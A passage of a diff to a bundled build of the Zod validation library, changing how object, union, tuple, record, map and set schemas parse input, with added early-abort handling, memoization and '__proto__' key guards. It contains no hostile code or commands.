+ if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57854,41 +58394,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57899,12 +58434,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57915,7 +58450,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57942,17 +58477,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -57986,12 +58521,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58004,7 +58543,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58038,55 +58578,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58097,8 +58665,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58108,9 +58676,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58131,7 +58699,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58167,37 +58739,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58206,59 +58790,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58269,14 +58865,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58287,10 +58884,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58300,7 +58901,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58311,25 +58912,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58346,7 +58951,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58363,26 +58970,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58400,7 +59015,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58413,21 +59031,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58437,36 +59067,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58474,7 +59114,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58487,7 +59127,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58498,11 +59138,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58510,8 +59152,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58522,6 +59171,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58534,16 +59184,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58551,21 +59204,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58574,13 +59227,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58589,16 +59242,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58606,59 +59259,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, 